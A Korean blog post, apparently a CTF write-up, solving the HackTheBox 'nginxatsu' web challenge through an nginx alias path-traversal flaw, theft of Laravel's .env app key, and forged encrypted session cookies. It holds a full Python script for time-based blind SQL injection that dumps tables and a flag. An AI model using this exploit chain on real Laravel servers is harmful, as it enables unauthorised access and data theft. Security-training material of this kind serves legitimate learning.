본문 바로가기
HACKING_GAME/WEB

hackthebox#7 nginxatsu

by asdf12345 2022. 1. 10.

HacktheBox nginxatsu  고 싶으신가요?

Do you want to solve HacktheBox nginxatsu ?

 

[ HacktheBox#7 nginxatsu ]

요약 : Nginx WebServer와 Laravel WebFramework 특정 버전(5.8.11 이하)에서 발생할 수 있는 취약점을 이용한 문풀

목차 

Step#1 Nginx Misconfiguration

Step#2 LFI 를 통한 중요 설정 파일 추출

Step#3 Laravel 5.8.11 SQL Injection

 

 

Step#1 Nginx Misconfiguration

문제 서비스 접근 시, nginx.conf 파일 내용 보여줍니다.

Nginx Misconfiguration으로 인해 Path Traversal 통한 LFI 취약점이 가능함을 알 수 있습니다.

location 경로가 /로 끝나도록 지정하지 않은 경우, /assetsindex.php 를 입력하면 /www/public/index.php의 파일을 반환합니다. (root 설정도 무시한채로 /www/public 상위 파일도 확인할 수 있습니다.)

index index.php;
root /www/public;
location /assets { alias /www/public/; }

 

 

 

 

Step#2 LFI 를 통한 중요 설정 파일 추출

소스코드 분석을 통해 세션을 이용한 쿼리문 날리는 코드가 존재함을 확인할 수 있습니다.

Laravel Framework에서는 세션을 위한 키가 /www/.env에 저장되므로 LFI 를 통해 파일 내용을 추출한 후, 세션 조작이 가능합니다.

https://book.hacktricks.xyz/pentesting/pentesting-web/laravel

 

 

Step#3 Laravel 5.8.11 SQL Injection

Laravel 5.8.11 이하 버전에서 존재하는 SQL Injection을 이용해 DB 내 flag를 추출합니다.

URL : https://stitcher.io/blog/unsafe-sql-functions-in-laravel

 

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
import time 


def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = 128
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = 128
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)

def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
    return ''

def encrypt(string):
    global key
    iv = os.urandom(16)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='AobMs5qbk/gEllZRIiq9F2AA5+YZn5o/BIwupgsjWv8='
query = 'ASC, IF((true), SLEEP(20), SLEEP(20)) DESC  --  '
key = base64.b64decode(app_key)



#================500 error=============================================================
query='id->\\"\' or IF(true,sleep(3),sleep(0))#'
cook=b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"ZCkMl7CwXQZSpCczYFSqAtV8AYfH7snCLojqfgUo\\";s:8:\\"username\\";s:5:\\"admin\\";s:5:\\"order\\";s:'+bytes(str(len(query)-1),'utf-8')+b':\\"'+bytes(query,'utf-8')+b'\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:40:\\"http:\\/\\/139.59.185.110:30832\\/api\\/configs\\";}}","expires":1639505889}'
ck = encrypt(cook)
'''
{"data":"a:6:{s:6:\\"_token\\";s:40:\\"M7PYykgR2lRQRs14xsOL5tjveSRYJuKV2CxmiJUV\\";s:8:\\"username\\";s:5:\\"asdfq\\";s:5:\\"order\\";s:151:\\"id->\\"\')) and IF(((select length (table_name) from information_schema.tables where table_type=\'base table\' limit 1 offset 4) >512.0),sleep(1),sleep(0))#\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:40:\\"http:\\/\\/139.59.185.110:30832\\/api\\/configs\\";}}","expires":1739505889}
'''
#================500 error=============================================================

def boolean_operator(sQuery):
    #sQuery='select true'
    query = f'id->\\"\')) and IF(({sQuery}),sleep(1),sleep(0))#'
    cook = b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"cyDYL4dHToxLoQO3An8eM4h8pIGvWKq1cJMNywTO\\";s:8:\\"username\\";s:5:\\"admin\\";s:5:\\"order\\";s:'+bytes(str(len(query)-1),'utf-8')+b':\\"'+bytes(query,'utf-8')+b'\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/142.93.40.197:31597\\/api\\/configs\\";}}","expires":1739505889}'
    ck = encrypt(cook)
    cookies = make_cookie(ck)
    start_time = time.time()
    go_packet(cookies)
    term = time.time()-start_time
    #print("---{}s seconds---".format(term))
    if  term < 1.5:
        return 0
    else:
        return 1

def binary_search(left, right, sQuery):
    mid = (left + right)/2
    #print("mid : {0} left : {1} right {2}".format(str(mid),str(left),str(right)))
    bResult = boolean_operator("(" + sQuery + ") >" + str(mid))
    #print("(" + sQuery + ")>" + str(mid))
    if((right - left)<=1): 
        if(bResult):
            return right
        else:
            return left
    if(bResult): 
        return binary_search(mid,right,sQuery)
    else:
        return binary_search(left,mid,sQuery)

def get_count(query):
    return int(binary_search(0,1024,query)) 

def get_str(query):
    return chr(int(binary_search(0,128,query.format())))



def make_cookie(ck):
    cookies={"2lurY3wip5fyLnV2MvutTYZqITyKs3HXVmEG6l39":(ck.decode('utf-8')).replace('=',"%3d"),"nginxatsu_session":"eyJpdiI6IkNpU1wvbVk1c3Y2M2h1ZmhVYUNvc0N3PT0iLCJ2YWx1ZSI6IjRFWTVITjhteWZtNlYrXC9RVnV0QTJLMkI4aVdcL1FKMGlqa3B4OEdmVTJuajJXYkhIdGQzYmlTMlgrRWEyU0U0byIsIm1hYyI6IjM3Yzg4YTVlNWZkNWU4NjhkMDg2YTEwOTYwMjMxOGUxYWMyZTA5ZmRiYWI4Nzg5MGIyNzc2NTUwZTdhZGI5NGIifQ%3D%3D"}
    return cookies


def go_packet(cookies):
    header = {'Content-Type':'application/json'}
    url = 'http://142.93.40.197:31597/api/configs'
    res = requests.get(url, cookies=cookies, headers=header)
    res = res.text
    return res

def make_query():
    return "s"



if __name__ == "__main__":
    table_cnt_query = "SELECT count(*) FROM information_schema.tables where table_type=\'base table\'"
    all_table_cnt_query = "SELECT count(*) FROM information_schema.columns"
    table_name_len_query = "select length (table_name) from information_schema.tables where table_type=\'base table\' limit 1 offset {0}"
    table_name_query = "select ascii(substr(table_name,{0},1)) from information_schema.tables where table_type=\'base table\' limit 1 offset {1}"
    table_col_cnt_query = "SELECT count(*) FROM information_schema.columns WHERE table_name = \'{0}\'"
    table_col_nm_cnt_query = "SELECT length(COLUMN_NAME) FROM information_schema.columns WHERE table_name = \'{0}\' limit 1 offset {1}"
    table_col_nm_query = "SELECT ascii(substr(COLUMN_NAME, {0}, 1)) FROM information_schema.columns WHERE table_name = \'{1}\' limit 1 offset {2}"
    
    #table_cnt=get_count(table_cnt_query)
    #print(table_cnt)
    table_cnt=115
    '''
    for i in range(30,31):
        table_nm_cnt=get_count(table_name_len_query.format(i))
        print("[{0}] table_name_length : {1}".format(str(i),str(table_nm_cnt)))
        table_nm=''
        for j in range(1,table_nm_cnt+1):
            table_nm+=get_str(table_name_query.format(str(j),str(i)))   
        print("[{0}] table_name : {1}".format(str(i),table_nm))
        col_cnt=get_count(table_col_cnt_query.format(table_nm))
        print("\tcolumn_cnt : {0}".format(str(col_cnt)))
        for k in range(1,col_cnt+1):
            col_nm_cnt=get_count(table_col_nm_cnt_query.format(table_nm,str(k)))
            column_nm=''
            for m in range(1,col_nm_cnt+1):
                column_nm+=get_str(table_col_nm_query.format(str(m),table_nm,str(k)))
            print("\t[{0}] column_nm : {1}".format(str(k),column_nm))
    '''
    flag = ''
    flag_cnt = get_count('select length(flag_jTGnJ) from nginxatsu.definitely_not_a_flaaag')
    print(flag_cnt)
    for i in range(1, flag_cnt+1):
        flag += get_str('select ascii(substr(flag_jTGnJ,{0},1)) from nginxatsu.definitely_not_a_flaaag'.format(str(i)))
    print(flag)
    '''
    flag = ''
    flag_cnt = get_count('select length(database())')
    print(flag_cnt)
    for i in range(8, flag_cnt+1):
        flag += get_str('select ascii(substr((database()),{0},1))'.format(i))
    print(flag)
    '''

DB 내 존재하는 flag

 

Nginx Misconfiguration을 통한 LFI -> Laravel Framework 중요 정보 파일(/www/.env) & 특정 버전에서 발생가능한 SQL Injection 취약점을 이용하여 DB 내 FLAG 탈취 성공

 

 

 

+Laravel 전 클래스 파일 경로 확인을 위한 경로 : /www/vendor/composer/autoload_classmap.php

 

삽질쓰 피드백 타임쓰

 

Step#1 에서 이리저리 -> 특정 Framework에 대한 중요 설정 파일 추출 관련한 접근 필요

 

Step#2 에서 권한 인증 우회인 줄 알았다구 -> 아니면 집어치워 걍;

뭐냐

https://github.com/ambionics/laravel-exploits

Laravel 뭐냐 

개발 가즈아, 엔터 안남겨졍;; -> 개발로 인한 취약점 확인을 통해 문풀 확신 증가~! 

 

'HACKING_GAME > WEB' 카테고리의 다른 글

HacktheBox#10 AbuseHumanDB  (0) 2022.01.28
hackthebox#9 Diogenes Rage  (0) 2022.01.18
HacktheBox#6 Granny  (0) 2021.06.14
root-Me#8 NoSQL injection - Blind  (0) 2021.05.22
HacktheBox#3 baby todo or not todo  (0) 2021.04.22